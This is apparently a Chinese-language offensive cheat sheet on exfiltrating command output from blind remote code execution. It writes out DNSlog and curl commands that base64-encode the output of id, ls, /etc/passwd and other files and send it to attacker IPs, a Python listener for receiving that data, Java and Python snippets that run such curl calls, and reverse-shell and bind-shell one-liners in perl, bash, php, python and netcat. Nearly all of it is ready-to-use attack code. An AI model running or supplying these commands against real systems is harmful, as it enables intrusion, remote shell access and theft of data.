1.简介
- 在很多时候我们拿到一个RCE漏洞时可能存在没有回显的利用链,那么在这时,就需要我们通过出网,将我们执行命令的结果外带出来,以此来观察执行命令的结果。
- 其中我们主要是通过输入“$(cmd)”可以将执行命令的结果以请求参数的形式外带出来。
2.外网dnslog
获取dnslog https://dnslog.cn/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $ dig $(echo -n $(id) | base64 | head -c 63).g8mpq4.dnslog.cn
$ echo -n $(cat /etc/passwd) | base64 | head -c 127 | cut -c 64-
$ GOAL="http://192.168.0.181:8888/?a=" && curl $GOAL$(echo -n $(ls) | base64 | sed ':a;N;$!ba;s#\n#'"& ${GOAL}"'#g')
$ GOAL="http://192.168.0.181:8888/" && curl $GOAL$(echo -n $(cat request.txt) | base64 | sed ':a;N;$!ba;s#\n#'"& ${GOAL}"'#g')
$ GOAL="http://192.168.100.1:8888/" && curl $GOAL$(echo -n $(cat request.txt | base64) | sed 's# #'"& ${GOAL}"'#g')
$ curl -d '$(whoami)' http://192.168.100.1:8000
|
将获取到的参数进行BASE64解码
3.内网http服务请求参数回显
服务器开启python http服务
1 2 3 4
| $ python -m http.server 11011
$ python -m SimpleHTTPServer 11011
|
同样将请求的参数进行BASE64解码,结果相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from http.server import BaseHTTPRequestHandler, HTTPServer
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) print("CMD ECHO:\n", post_data.decode('utf-8'))
self.send_response(200) self.end_headers() self.wfile.write("error".encode('utf-8'))
def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8000): server_address = ('', port) httpd = server_class(server_address, handler_class) print(f"Starting httpd server on port {port}") httpd.serve_forever()
if __name__ == '__main__': run()
|
1 2
| # 通过POST发送请求 $ curl -d '$(whoami)' http://192.168.100.1:8000
|
java示例(dnslog同理)
1 2 3 4 5 6 7
| import java.io.IOException;
public class MainExec { public static void main(String[] args) throws IOException { java.lang.Runtime.getRuntime().exec(new String[] {"/bin/bash","-c","curl http://124.220.32.205:11011/?$(echo -n $(id) | base64)"}); } }
|
python示例(dnslog同理)
1 2 3 4 5
| command = "__import__('os').system('curl http://124.220.32.205:11011/?$(echo -n $(id) | base64 | head -c 63)')"
if __name__ == '__main__': list2 = eval(command) print(list2)
|
3.netcat 连接
反向连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $ nc -lvp 6000
$ perl -e 'use Socket;$i="XXX.XXX.XXX.XXX";$p=6000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
$ /bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6000 0>&1
$ php -r '$sock=fsockopen("XXX.XXX.XXX.XXX",6000);exec("/bin/sh -i <&3 >&3 2>&3");'
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("XXX.XXX.XXX.XXX",6000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
$ python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.128", 6000));proc=subprocess.Popen("cmd.exe",stdin=s, stdout=s, stderr=s,shell=True);proc.communicate();'
|
正向连接
1 2 3 4
| $ nc -l -p 9999 -e /bin/sh
$ nc -nv XXX.XX.X.XXX 9999
|